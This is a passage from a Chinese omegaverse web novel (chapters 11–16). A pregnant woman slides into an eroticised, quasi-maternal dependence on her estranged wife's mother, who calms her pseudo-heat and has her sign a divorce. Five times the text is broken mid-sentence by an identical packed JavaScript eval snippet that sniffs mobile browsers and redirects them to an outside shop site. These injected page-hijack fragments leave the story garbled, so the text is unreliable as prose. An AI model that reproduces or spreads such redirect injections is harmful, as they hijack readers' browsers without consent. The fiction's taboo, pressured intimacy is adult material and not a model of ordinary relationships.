接下来,居然连续两天都没有见到,只有其中一次晚饭,她草草见到了沈缎青一面。 她刻意找借口推迟了晚饭。 听到了门边传来的动静。 她心跳快了几分,急忙放下餐具,扭头看向女人,眼神不自觉地有些期待。 期待女人说些什么。 大概是最近的工作繁忙,女人眉眼间有些倦意,只看了她一眼,视线相撞,没说什么,就上楼了。 尤昙愣在原地。 沈缎青工作并不算轻松,可只要一回来,都会和她聊天,哪怕几句平常的关心,摸摸她的头,也让她感觉开心很多。 这大概还是第一次。 什么都没和她说。 没什么胃口,在餐桌上坐了一会。 她放下手中的餐具,上楼回房,经过沈缎青的房间时,她脚步顿了下。 房间隔音很好,十分安静,听不清门内沈缎青在做什么。 她有些想敲门。 可要怎么说呢? 她不了解女人的工作,也不了解女人的生活。 她连个像样的借口都找不到。 11. 第 11 章 她似乎太习惯依赖,小时候有姐姐,后来有妻子沈遐云。 现在遇到无解的问题,她第一想法是给姐姐打电话。 意料之内,姐姐的电话还是打不通。 这两个多月里,她中途有试着打过几次,结果也是一样。 不知道是什么体量的研究项目,居然要封闭实验这么多天,已经接近五个月了。 她还记得姐姐几个月前打电话过来时兴奋欣喜的模样,这个项目对姐姐来说件好事,是姐姐喜欢的。 既然是好事,她没有必要担忧。况且,姐姐从小到大都比她优秀太多。 她垂下眼,心头一动,突然找到了一个合理找沈缎青的合理借口。 沈缎青和姐姐在同一个研究所工作,哪怕项目严格保密,也能旁敲侧击知道更多消息,至少比她这个毫不相关的人知道更多。 这个念头让她猛地坐起身。 虽然她已经住进这栋房子两个多月,两人的房间相邻,但她从来没有来过沈缎青的房间。 沈缎青也一般不会随意打扰她,更是主动和她保持着恰当的、长辈和小辈间的距离。 哪怕有时沈缎青工作完时间太晚,她已经要休息了,女人虽然关心她,却也只是敲敲门,站在门边和她说上几句话。 她应该说什么? 太久没有姐姐的消息,她有点担心,想知道项目什么时候能结束? 她又立刻否定了自己。 不能这样问,这个项目保密级别很高,这样有想要探听机密的嫌疑。 她只是想知道姐姐大概什么时候能够和她恢复通讯,给她报个平安。 她打好腹稿,佯装镇定地敲了敲门。 没有回应,但门是虚掩的,被她一敲,开了一条缝。 房间里的灯是亮着的,可是一眼看去,沈缎青却不在。 房间内只有浓郁的、不加收敛的女人的信息素的味道。 当然,这很正常。 这是沈缎青的房间。 只是除了两人第一天,她几乎没有怎么闻到沈缎青的信息素,只有两人坐得近了,她才能闻到隐约的气味。 女人极为克制,似乎和她刻意保持距离。 信息素就像每个人天生自带的符号一样,每个人都是特殊的,与众不同的。 至少她从来没见过两个几乎一模一样的信息素。 除了妻子沈遐云和沈缎青。 近乎一样的信息素,天然让她放下戒备。 她能这么快信赖沈缎青,很难说没有这个理由。 尤昙脚步顿住,房间主人不在,按理来说,她应该换个时间,但很快又克制不住似的,向房间里迈了一步,擅自推开了门。 扑面而来是更加浓郁的味道,掺杂着湿漉漉的水汽,有种口鼻被捂住,近乎闷窒的错觉。 但她却突然感受到一种油然而生的愉悦,甚至有些控制不住的颤栗、焦渴。 像渴水的人终于遇到了水源。 她几乎下意识咽了下口水。 房间是个套间,大概听到了她的脚步声,房间更里侧突然传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483830|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了一声询问:“尤昙?” 尤昙勉强回过神来。 女人似乎在洗澡,声音也变得雾蒙蒙,夹杂着窸窣的衣料声响。 沈缎青并不是不在房间,而是在浴室里。 “怎么了?” 女人的声音离得更近了。 原本浓郁的信息素味道更加馥郁,毫不留情地围拢过来,像是在收绞包围圈,趁机捕捉其中可怜的猎物。 尤昙却浑然不觉,只茫然地看着女人湿润的面庞。 沈缎青皱了下眉,弯腰。 带着水渍的手掌贴在她通红的脸颊上,温热的,潮湿的。 正在洗澡,却被她突然的到来打断,大概是时间太仓促,女人只是穿了件睡袍,肩上随意披了件针织外套,胸口露出一片锁骨和起伏弧度。 没来得及擦干的湿透长发,末梢一粒水珠落下,顺着敞开的衣领滚落进深处。 浓郁的香味在鼻尖荡开。 她抬手,怔怔地握住了女人捧着她脸颊的手,呼吸加快,睫毛垂落,目不转睛地盯着那颗水珠滚落的痕迹。 “脸怎么这么红?” “发烧了?” 女人似乎有些疑惑,灰青色的眼睛在脸上扫视了一下,却没有抽开,只是任由她握着,又叫了她一声:“尤昙?” 她猛然清醒过来,甩开女人的手,后退一步,几乎逃也似的转身回到自己房间。 甚至慌乱到忘记了自己本来目的。 她头昏脑胀,转身太快,没看到身后女人脸上的笑意。 12. 第 12 章 尤昙靠在门板上,胸口起伏。 “身体不舒服吗?需要我叫医生吗?” 担忧的声音从身后隔着一层门板模糊传来,还有信息素,不加掩饰地充盈占据她的整个嗅觉。 她想起医生的话,委婉暗示她们要亲近一点。 两个医生都将她和沈缎青误认成伴侣。 她不是第一次知道,却是第一次突然意识到,抛却两人的身份察觉,对她来说,沈缎青也是一个合适的alpha,是个近在咫尺的伴侣人选。 片刻。 “……没有。” 明明是她主动,可是女人真的如她所愿像以往那样来关心她,她却只想要沈缎青离开。 难以言喻的空虚感,从更深处翻涌上来,一阵阵地冲击着她。 她靠在门板上,手脚发软。 仿佛这三个月间被压制的对伴侣的需要和渴望,在一瞬间被激活。 信息素的吸引,是来自生理层面的天然吸引,比起什么虚无缥缈的好感和喜欢要来得更加简单粗暴,让人招架不住。 就像难以抗拒的食欲,本能的吸引力。 腺体一阵阵发胀,某一瞬间,她心头不自觉地涌起一种渴望,希望它被人用力咬住,注入信息素。 转过身,握住门把手,想要打开门。 女人性格温柔,很好说话,是个很耐心的长辈,应该会答应她吧。 她被自己下意识的想法吓了一跳,慌乱地松开手指。 不应该这样的。 或许正是由于女人的克制,导致她这一次的渴望几乎反扑般,汹涌地冲刷着她。 就像渴了太久的旅人,终于遇见水源,忍耐就变成了一种遥不可及的事。 “真的没事吗?” 尤昙:“没事。” 她声音有些发抖,咬住嘴唇,努力让自己的声音听起来没有异常。 “真的没事。” “没有不舒服。” “我困了。” 得到她的再三确认,女人终于离开了。 远离强烈的刺激源,哪怕空气中还有残留的香味,那股冲动自然而然就减退许多。 除了腺体似乎微微受到了些影响,让人有些不舒服。 她松了口气。 但很显然,这口气她似乎松早了。 她和沈遐云在一起三年,一直都是热恋期,几乎没怎么分开过。 去年尤昙一毕业,沈遐云更是直接向她求婚,两人很快举行婚礼,成为名正言顺的伴侣,哪怕沈遐云工作有时很忙,两人分开的时间也最多不过一天。 她早已经记不清信息素对自己的影响有多剧烈。 在第二天吃早餐时,她刻意晚下楼,估算时间差不多了,沈缎青应该离开去研究所,她才下楼吃早餐。 头脑闷闷,尤昙忍不住碰了碰太阳穴,在餐桌前坐下。 “尤小姐,身体不舒服吗?” 阿姨见她脸色有些难看,将早餐放在她面前,忍不住关心她一句。 阿姨就是那天来找沈缎青时,主动叫住她的那个中年女人。 今年八十多岁,是个beta,长相性格都很亲和,手艺相当不错,这段时间一直在照顾她生活起居。 不过除了三餐时间,尤昙也不经常见到她。如果沈缎青有工作不在家,这栋房子里就好像只有她一个人似的,很安静。 阿姨是个beta,自然闻不到尤昙身上外放到有些不正常的信息素。 只能通过脸色判断,尤昙似乎有些不舒服。 尤昙说了声谢谢,拿起餐具。 她一整夜没有睡好,额头隐隐发涨。 听到这个问题,她动作顿了顿,想起了昨晚断断续续的零散梦境。 罕见地,时隔两个月后,她梦到了妻子沈遐云。 这段时间里,生活重新平静下来。 她才意识到自己已经很久没有梦到沈遐云,甚至最近都没想起沈遐云。 “老婆。”梦里沈遐云语气温柔,甚至有些委屈,可是动作却恰恰相反,“为什么拒绝?” “不想要我吗?” 沈遐云总是这样,喜欢在这个时候逼她说些羞耻求饶的话。 “不是……” 她呜咽着哭泣。 “说想要。” “……想要。” 可是画面一转,她身前的人变成了沈缎青。 两人的区别不算明显,但是在梦里,她却能一眼分清两人,认出正在亲吻她的人是她的妻子还是妈妈。 女人的眉眼在灯光下朦胧深邃,格外迷人,似乎在笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483831|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“想要什么?想要我标记你吗?” “乖孩子,说出来,不说出来我怎么能知道呢?” 这是沈缎青,不是她的妻子。 不。 可是她却不受控制地转过身,主动露出了后颈的腺体。 …… 尤昙没什么胃口。 不知道是没睡好,还是因为别的原因,她总觉得面颊烫热,四肢乏软,很不舒服。 勉强吃了一点东西,让自己的胃不那么空旷,重新上楼睡下。 那个昨晚没做完的梦,又重新继续了。 梦是现实的部分投射,她难道真的在渴望沈缎青标记她吗? 她不知道。 她只知道在梦里女人迟迟不肯给她个痛快。 齿尖明明已经咬住她的腺体,却迟迟不肯刺入。 在她满怀期待时戛然而止,就像是和她作对似的,让她怎么都得不到。 尤昙难受地浑身滚烫地蜷缩起来,脸埋进被子里。 迷迷糊糊间,她听到了有人焦急叫她的名字。 “尤小姐,没事吧?” 那人碰了碰她的额头,显然有点被吓到了。 “额头好烫,我叫医生来。” 十几分钟后,有人来了。 但来的不是医生。 意识昏沉,熟悉的信息素将她包裹,激起了脊背过电似的发抖。 有具身体贴了过来,弯腰将她抱进怀里。 她在发热,浑身滚烫,因此衬得身后的身体有些凉,是让人舒服的凉意。 她小声呜咽,几乎立刻本能地抓住了女人的手,脸颊往女人胸口贴。 “老婆。” 她脸蛋通红,小声叫道。 只有亲密的时候,她才会这样叫沈遐云,沈遐云喜欢让她这样叫。 沈缎青掐着她的下巴阻止她的动作,却不是拒绝的意思,而是让她看清自己:“叫我什么?” 尤昙清醒了些,眼神勉强聚焦在她脸上,目光仍然湿漉漉的。 她认出眼前的人不是她的妻子,可是她太想得到解脱。 “……妈妈。” 沈缎青没动。 “妈妈。” “妈妈。” 她只能又重复。 “妈妈。” 13. 第 13 章 信息素紧密地包裹着她。 沈缎青抚开她的长发,冰凉的抑制剂被缓缓注入身体。 尤昙发抖着将身体埋进女人怀里,却突然迟钝地想起了什么,挣扎着摸了摸自己的小腹。 孕期的omega和alpha有很多药物都无法使用,包括市面上常见的抑制剂。 像是看出她在担心什么,沈缎青:“不会有事的。” 得到了女人的保证,尤昙闭上眼,意识彻底昏沉下去。 直到不知过了多久。 耳边是刻意压低的声音。 可是房间就这么大,对话声还是断断续续地钻进耳朵,将她吵醒。 医生的声音有些无奈:“你们两个天天在一起,怎么还能假性发情?” 孕期的omega很需要伴侣的安抚,这是一种生理性的渴望,也是一种合理需要。 合理需要得不到满足,长时间的忍耐压抑,omega激素状态会持续维持在一种较高的水平,平时的检查很难检查出来。 直到受到刺激源,就会猛然爆发,造成的一种类似发情期的症状。 好在问题并不严重。 “不过以后还是要多注意,尽量不要再发生类似的情况。” 沈缎青的声音有点低,她没听清沈缎青回答了什么。 总之医生的态度似乎似乎和缓了下来,又无奈地叮嘱了几句注意事项。 医生离开。 房间内又安静下来。 衣料细微窸窣的碰撞声,沈缎青似乎在她床边坐了下来。 即使闭着眼,她也能够感受到沈缎青的目光落在她身上,睫毛不自觉地抖了抖。 四肢酸软,始终有一种挥之不去的空泛感,让人根本无法忽视刚才发生了什么。 她并不是神智不清,那种感觉更像是喝醉了酒,她又基本的判断力,她知道身边的人是谁,但是仍任由本能控制了她。 胡乱地钻进了女人的怀里,渴求女人的亲吻和拥抱,哭泣着恳求着,希望女人能够对着她的腺体狠狠咬下。 好在沈缎青很理智,没有让事态发展得不可收拾,只是抱着她,放出自己的信息素安抚她,让她安静了下来。 “尤昙。”沈缎青突然叫她,语气笃定,像是知道她已经醒了。 她心猛地一跳,不得不睁开眼睛,却下意识回避了和女人的对视。 女人坐在她的床边,静静看着她。 原本该得体整洁的衣领有些褶皱,最上面的两颗纽扣被随意解开,像是被人在混乱中解开还没来得及整理。 她又慌乱地移开,目光一时不知道摆放在哪,下意识垂眼看向了女人随意放在膝上的手。 指节分明,指尖被修剪得整齐光洁,微微的阴影,衬得整双手过分修长。 这对母女处处相似,连这双手都有些让人分不清。 唯一不同的是,沈遐云的无名指有两人的婚戒。 而眼前的女人手指光秃秃的。 “尤昙。” 女人又叫了她一声,语气就像是有话要和她说。 尤昙瞬间紧张起来。 但却并不是想象中的,沈缎青要和她聊刚才发生的事。 “我替你约了明天的医生。” 尤昙顿了顿,才缓慢地意识到女人这句话的含义。 她下意识将手放在自己小腹上,手下能摸到微微凸起的弧度。 很难想象,这里已经有了一个生命。 抛去她对于沈遐云的记恨,故意想要留下这个孩子的成分,这种感觉的确很奇妙。 但如果说她对腹中孩子已经有了感情,当然不可能,这最多是个正在发育的胚胎,此刻甚至算不上一个孩子。 “就这么想留下这个孩子吗?”沈缎青却对她的反应产生了误会,轻轻叹了口气,口吻似乎有些无奈。 不。 不是的。 可沈缎青没给她反应的机会,伸手从一旁拿出了文件,更准确地说,是一份离婚申请,没给她反应的机会,递到她面前。 文件就放在桌子上,似乎一早就准备好了。 她愣了愣。 在她愣神的功夫,一支笔已经被放在她手里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483832|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “签了。” 这次不是商量的语气,是命令的口吻。 沈缎青静静地等待着她的动作。 如果是别的情形下,她或许还能冷静地思考,做出选择。 可房间内残留着两人混乱的信息素,将不大的空间熏染得一塌糊涂,甚至有些呛鼻。 明晃晃地昭示着之前发生过什么。 是的,两人的确没有任何过界的身体接触,沈缎青只是将她抱在怀里安慰,帮她注射了一只抑制剂。 这些举动还可以说成是沈缎青作为长辈、作为母亲对她的照顾。 可关键在于……正常的母亲也不会用自己的信息素去安抚假性发情的孩子。 正常的孩子也不该对母亲做那样的梦,对母亲产生难以言说的渴望,也不该在明知道身旁的人不是自己妻子的情况下,不受控制地…… 她不敢再想下去。 “……” 她点点头。 女人却已经握住她的手,在最后一栏签上她的名字。 “真乖。” 沈缎青对她笑了。 这似乎是距离上次两人关于离婚问题的谈话后,沈缎青几天来第一次对她笑。 无法形容这个笑,和往常没什么区别,温柔、和煦、关切。 她直勾勾地看着女人,在这一刹那,心里却因为这个笑猛然轻松下来,甚至有点想哭。 仿佛她这几天都处在一种奇怪又难熬的窒息感当中,而女人此刻终于肯将她解脱出来,让她呼吸到了氧气。 喉咙发紧。 妈妈。 她咽下呼之欲出的渴望。 女人并没有因为她和沈遐云离婚就对她转变态度,仍然对她很温柔。 沈缎青收起了文件:“你现在身体虚弱,要好好休息,再睡会吧。” 她含糊地嗯了声,顺从地躺下。 闭上眼又很快睁开。 窗外浅薄的晚霞,透着股静谧的意味。 沈缎青笑着摸了摸她的头:“睡吧,我就在这,哪也不去。” 她这才肯重新闭上眼睛。 14. 第 14 章 沈缎青说话算话,说会陪在她身边,真的一直没走。 经历这一遭,她很累,不光是精神上的疲惫,还有身体上的。 这一觉睡得太久,睁开眼睛已经凌晨了。 窗帘掩着,透过缝隙能够看到窗外灰暗中透着点明蓝的天。 她侧过头。 女人仍然坐在她身边,正在用手里的电脑浏览文件。 明明视线落在眼前的屏幕上,但是在她睁开眼睛的下一秒,沈缎青抬起头,对她笑了笑:“还难受吗?” 不。 不仅不难受了,好像这一觉也让她恢复了体力。 但是睡得太久,她的脑袋发闷,而且有点饿。 “起床吃点东西。” 厨房里有正温着的汤,沈缎青给她盛了一碗,放在她面前。 “时间太晚了,先吃一点暖暖胃。” 从醒来之后,她好像还在状况外,茫然拿起汤勺尝了一口味道。 汤微微烫口,适合慢慢小口喝,她一时不察,直接吞了一勺,脸瞬间皱了一下。 “烫到了吗?” 一杯温水被递在她唇边,微微抵着她的唇瓣。 这不是关键,关键是,这是沈缎青的杯子。 尤昙愣住。 可是沈缎青的动作太过自然,她只好张开唇,喝了一小口。 “还烫吗?” 她咽下口中的水,摇摇头。 目光落在女人的衬衫上,仍然是她睡前的那一件,领口有些皱。 没来得及换掉身上的衣服,也就是说,在她睡觉的这段时间,沈缎青一直寸步不离照顾她。 尤昙垂下眼睛。 汤炖了很久,里头的牛腩被炖得酥软易入口,口味酸甜,很适合她饿了很久的胃。 沈缎青没吃,就坐在她对面,目光落在她脸上。 尤昙有些不适应。 不是因为和沈缎青单独吃饭不适应。 她住在这里两个多月,几乎每餐饭都是和沈缎青一起吃的。 二十一天就能够养成一个习惯,仔细算算,这么长时间已经足够她养成好几个习惯。 她只是……她也说不上来。 或许只是女人的目光太专注了,让她有点不好意思。 眼见尤昙放下手中的汤勺。 沈缎青:“吃饱了吗?” 尤昙点头。 “还困吗?” 尤昙下意识摇头。 她睡太久了,已经没有困意。 但是看到了女人的神色有些疲倦,她又改变主意点点头。 她是睡够了,可是沈缎青从昨天下午到现在,几乎十几个小时没睡。 她不能再麻烦沈缎青照顾她了。 沈缎青将她送到房间。 看着她乖乖躺下,又给她盖了被子。 很新奇的体验。 姐姐很照顾她,小时候为了让两姐妹互相照应,老师一般会专门让她们同住一个房间。 但被长辈盖被子,好像还是头一遭。 今天发生的一切都令她有些措不及防。 尤昙目不转睛地看着她。 眼珠湿润漆黑,有点茫然,黑发偎在脸旁,又显得很乖巧。 完全看不出已经经历过一段婚姻,成为了另一个女人的妻子,此刻又怀着另一个女人的孩子。 沈缎青笑了笑,指尖拨弄她脸颊旁的碎发,轻声道:“明天搬到我的房间吧。” 尤昙愣了一下。 “你现在这样,一个人住我放心不下。” “幸好今天阿姨及时通知我,万一我没及时回来又该怎么办呢。” 完全听不出问题的理由。 站在一个关心孩子的长辈的角度,合情合理。 可是……她却隐约感觉不太对。 比如,她们其实已经住得足够近了。 又或者,她和沈缎青的身份适合住在一起吗?还是在已经发生过意外的情况下。 思绪转了一圈,尤昙吞吞吐吐道:“我可以用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483833|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抑制剂。” 沈缎青:“短效抑制剂,为了降低副作用,作用有限,时效也短,临床数据大约最多起效三个小时。” “算算时间,至少八个小时前就已经失效了。” 她想反驳。 她现在并没有难受的感觉,哪怕失效了,问题也不大。 至于这次,应该只是意外。 随着孩子越来越大,她的确需要alpha的信息素安抚,可毕竟现在她肚子里的孩子还连弧度都不怎么显现。 这是以后的事情,虽然很重要,可还没到眼前,就显得没有那么迫切。 可是话还没说出口。 她愣了愣,对上女人带着笑意的眼睛,突然反应过来。 自从她睡醒,鼻尖一直充盈着若隐若现的气味。 和沈遐云的太像,以至于她太习以为常,轻而易举地接受,没有觉得任何不妥当。 她之所以不觉得难受,甚至觉得舒适,是因为沈缎青一直在她身边,用自己的信息素在安抚她。 “搬过来吧,至少让我放心些。好吗?” “还是你不想吗?” 尤昙迟疑地握住被角,却没有直接摇头拒绝。 因为她知道沈缎青说得对。 她现在的身体状况需要有人在身边。 一面觉得这样似乎不妥当,可是另一面,面对女人关切的神色,她似乎有点抗拒不了。 而且经历这一遭,她好像隐约明白了一个道理。 在女人面前,听话的孩子更容易得到奖励。 片刻,迎着女人灰青色的眼睛,她轻轻点点头。 沈缎青笑着摸了摸她的头:“好孩子。” 但是尤昙忽视了另一件事,哪怕两人再像,也终究是两个不同的个体。 她可以将眼前女人的信息素当成沈遐云的替代品。 可信息素的安抚只是一时的,如果想要继续留下这个孩子,她仍然需要一个alpha深度标记她,取代沈遐云成为孩子的母亲。 15. 第 15 章 搬进沈缎青的房间的事后面再提,在此之前,她要先去联邦婚姻局。 她和沈遐云在一起三年,交往不久就开始同居,可其实结婚只有一年时间。 对于婚姻局的陈设她甚至还有印象。 结婚流程简单,离婚也相当简单,只需要很简易的手续。 沈遐云无故消失三个月,没有任何讯息,也没有履行任何作为伴侣的义务。 更重要的是,尤昙已经怀孕,并表达了想要留下孩子的倾向——至少沈缎青帮她准备的材料里是这样表述的。 这种属于特殊情况,是不可能离婚不成功的。 就是在办理过程中,工作人员有些诧异地看了她一眼,大概是想到了什么。 新型抑制剂的风波沸沸扬扬,虽然已经过去几个月,但不代表被彻底遗忘,相反,最近几个抑制剂抢占市场,反而让原本新型抑制剂即将平息下来的热度又有了回升的趋势。 沈遐云这个名字在几个月前也是几乎没人不知道。 不过很快,工作人员就面带微笑,极其专业道:“尤女士,手续已经办理成功。” “接下来会按照规定发送信函通知沈遐云女士。” “不过放心,这并不影响离婚结果,仅仅是通知。” 离婚流程虽然很简单,但递交资料,等待工作人员核查、确认,还是花费了大半天的时间。 她和沈缎青一起来时,是上午十点,现在已经接近下午四点种。 但她还是觉得很快,快得让人有些回不过神来。 说来也很巧,尤昙毕业的时候,恰好也是她二十岁的生日,沈遐云也是在她那时对她求婚的。 沈遐云后来抱着她说,如果不是因为尤昙还没有到达法定结婚年龄,她一定会更早一点求婚的。 话说得很诚挚,却也很柔情。 两人在一起只是因为一次猝不及防的意外,在此之前,她们从没见过面,谈不上任何感情基础。 可是在一起之后,她从来没想过会和沈遐云离婚。 在一起的三年里,沈遐云对她来说,是个很优秀的恋人、伴侣。 哪怕在知道沈遐云出轨之后,她也没有办法违心地说沈遐云在此之前哪里做得不够好。 可能就是因为太好,沈遐云出轨的事实才会让她难以接受。 回去的路上,她没有说话,车内的气氛显得有些沉默。 沈缎青目光不着痕迹地落在她右手无名指处还没取下的婚戒上:“不开心?” 尤昙沉默了一下,没回答。 人可能就是这样矛盾的生物。 哪怕今天在来到婚姻局的前一秒,她心里还是对沈遐云的记恨。 可是如今离婚了,她和沈遐云彻底没有关系了,反而突然不受控制地想起来和沈遐云之前相处的细节,回忆起两人之间的爱意。 虽然那些记恨的情绪一分没少。 不过,她很快就没有心情去想沈遐云了。 两人回到家时,她的东西已经被整理好搬到了沈缎青房间里。 其实她也没什么东西,毕竟她住进来那天就什么都没带。 不过她这几个月里用惯的东西,还是都搬了过去。 昨天沈缎青和她说要她搬过去,她还以为是她搬到沈缎青在住的那间。 但没想到沈缎青会和她一起搬到楼下的房间。 她都差点忘了,沈缎青第一天的确和她说过,如果她要留下这个孩子,为了方便,会帮她在楼下整理出一个房间。 房间已经被整理妥当,布置几乎没有任何改变,仍然延续之前的风格。 除了房间位置的不同,窗外的景色有差异,和沈缎青原本的房间一样,几乎看不出什么改变。 唯一有变化的是,床上的枕头,浴室里的洗漱用品……都默契地变成了双份,整齐地摆在一起。 沈缎青细心地她介绍房间的布置,东西的摆放。 听着这些话,很奇怪的,她手脚有些发麻。 大概上一次她经历这样的场景是和前妻沈遐云一起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483834|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两人大约交往了三个月,趁着一次机会,沈遐云询问她的意见,要不要同居。 那时候沈遐云牵着她的手打开两人的家,温声给她介绍家里的摆设,每个房间的用途,就是类似的场面。 强烈的相似感,令她不得不产生联想。 可问题是,她和沈遐云当时是恋人关系。 尤昙下意识别过眼,试图忽略这些让她不适应的小细节,手指蜷了蜷,低声道:“今晚就要搬吗?” 沈缎青:“不是已经答应我了吗?” 她是答应了,可是没想到这么快,甚至一点缓冲的时间都没留下。 “是我希望能够尽快,你昨晚答应我,我以为你能够接受。” “如果你觉得不适应,我找人来搬回去?” “我只是不放心你,并不想逼你,孩子。” “哦。”面对女人的关心,她无法从容应对。 一切疑问都说不出口了,只能干巴巴地哦了一声。 她没有和长辈相处的经验,还是对她态度温柔的长辈。 吃过晚饭,惯性想要上楼,又懊恼地想起来房间已经搬到了楼下。 沈缎青正在厨房和阿姨交代最近几天的食谱,瞥见了她的动作。 她刚刚走进房间,女人也恰好结束了和阿姨的聊天,落后几步也跟着进来了。 房间门被关上。 发出细微地嘭的一声。 她的心脏也因为这声响动而嘭地一声。 不知道是不是她心理在作祟,女人的存在感异常鲜明。 细碎的衣料摩擦声响,鼻尖浓郁的气味,甚至呼吸声,细微的、轻柔的,仿佛落在她耳边。 不同于以往的相处,哪怕是同一个空间,可是也没有像今天这样……让她觉得不自在。 沈缎青:“怎么了?在发什么呆?” 尤昙对上她的眼睛。 沈缎青笑着说:“先去洗澡吧。” 她点点头。 不知怎么地,她突然有些紧张。 16. 第 16 章 尤昙觉得有种奇怪的入侵感,好像她入侵了沈缎青的空间。 明明整栋房子都是沈缎青的,按理来说,住了这么久,她之前就应该有这种感觉。 可是她自己住一个房间,虽然名义上这个房间也是属于沈缎青,可既然是她在住,关上门时,就是她自己的地盘。 但是现在不一样。 尤昙下意识看向门边。 浴室门紧闭,温热的水淋下,哗啦啦的水声遮掩了另一个人的存在,造成了安静的假象。 可是尤昙知道不是这样的。 哪怕沈缎青此刻什么都没说,甚至没有任何声响。 可只要一想到,不大的空间内,隔着一道门板,存在着另一个人的呼吸,空气中充盈的信息素气味,她就浑身不自在。 有一种无所适从的感觉。 又或者说,一种完全无法遮掩的赤裸感。 她遏制住自己混乱的思绪,加快动作洗完了澡。 将浴室留给沈缎青用。 房间里只有一个浴室,她先用了,沈缎青就只能等待,除非去二楼,可那样太麻烦了。 她规规矩矩地躺在床上,试图让自己显得自然,可是注意力始终忍不住往浴室飘,又只好欲盖弥彰地玩手机,试图转移自己的注意。 可丝毫没用。 眼睛虽然盯着手机屏幕,可是耳朵却没有落下房间内一丝一毫的动静。 哗啦啦的水声停了。 一段不长不短的安静,是在擦拭身体。 略尖锐的风声,似乎在吹头发。 而后是脚步声。 一下,两下,越来越近。 咔嚓一下,房间内变得昏暗,灯被关掉。 床垫被微妙下压,女人带着湿润水汽,在她身边躺下。 这一刹,她大脑突然变得空白。 明明她刚才感觉自己才是那个入侵者,可是这一瞬间,她突然又不确定了。 信息素在每个人成年分化之后,如无意外,几乎会伴随一辈子,哪怕不刻意释放,可是腺体无时无刻不在分泌信息素,就像是香水一样,长时间沾染,身上也会带上细微的气味。 而水汽无疑助长了气味的扩散,空气中好像有一根晶莹无影的丝线,一端连在她身上,一端连在沈缎青身上。 细密地入侵她的感官。 记忆在这一刻无法控制地产生了偏移。 人连小时候的记忆都会清晰记得,更何况还是几天前新鲜尚未淡化的记忆。 她突然想起了前两天的事情。 她去了沈缎青房间,却恰好撞见了女人洗澡。 女人匆匆从浴室出来,头发湿漉漉的,那颗水珠滴落,顺着身体曲线滑入深处,衣领里,她看不见的地方。 沟壑深而柔软…… 想到那副画面,她脊背像是被烫了一下,突然抖了抖,不着痕迹地往床边挪了挪。 可是这个床的位置有限,就算她再想要拉开距离,也不可能完全忽视另一个人的存在。 女人躺在她的左边,突然看了她一眼,靠了过来,抬起手。 这一瞬间,气息强烈地侵入过来。 她本就思绪不端,脑袋昏了一下,应激似的缩了缩肩膀,慌张地闭上眼睛。 昏暗中,她听到女人轻笑了一声:“在想什么呢?” 下一秒,那只手越过了她的肩膀,握住了她右手,更准确地说,目标是她右手手指上的那枚婚戒。 戒指被摘下,放在了床边的矮柜上。 “晚上睡觉并不适合戴戒指。” “容易导致手指血液不畅通。” 是吗? “哦。”她呆呆道,脸蛋通红。 屏息太久,一时之间分不清是因为缺氧导致的脸红,还是因为不好意思导致的脸红。 她在想些什么?她难道是想发生些什么吗?她心里懊恼道。 好在,此刻只剩下床边的夜灯,光线并不明朗。 只能看到身旁人的眉眼朦胧轮廓,却看不清具体的表情,让她的情绪不会泄露那么明显。 沈遐云由于工作原因,戒指会时常摘戴。 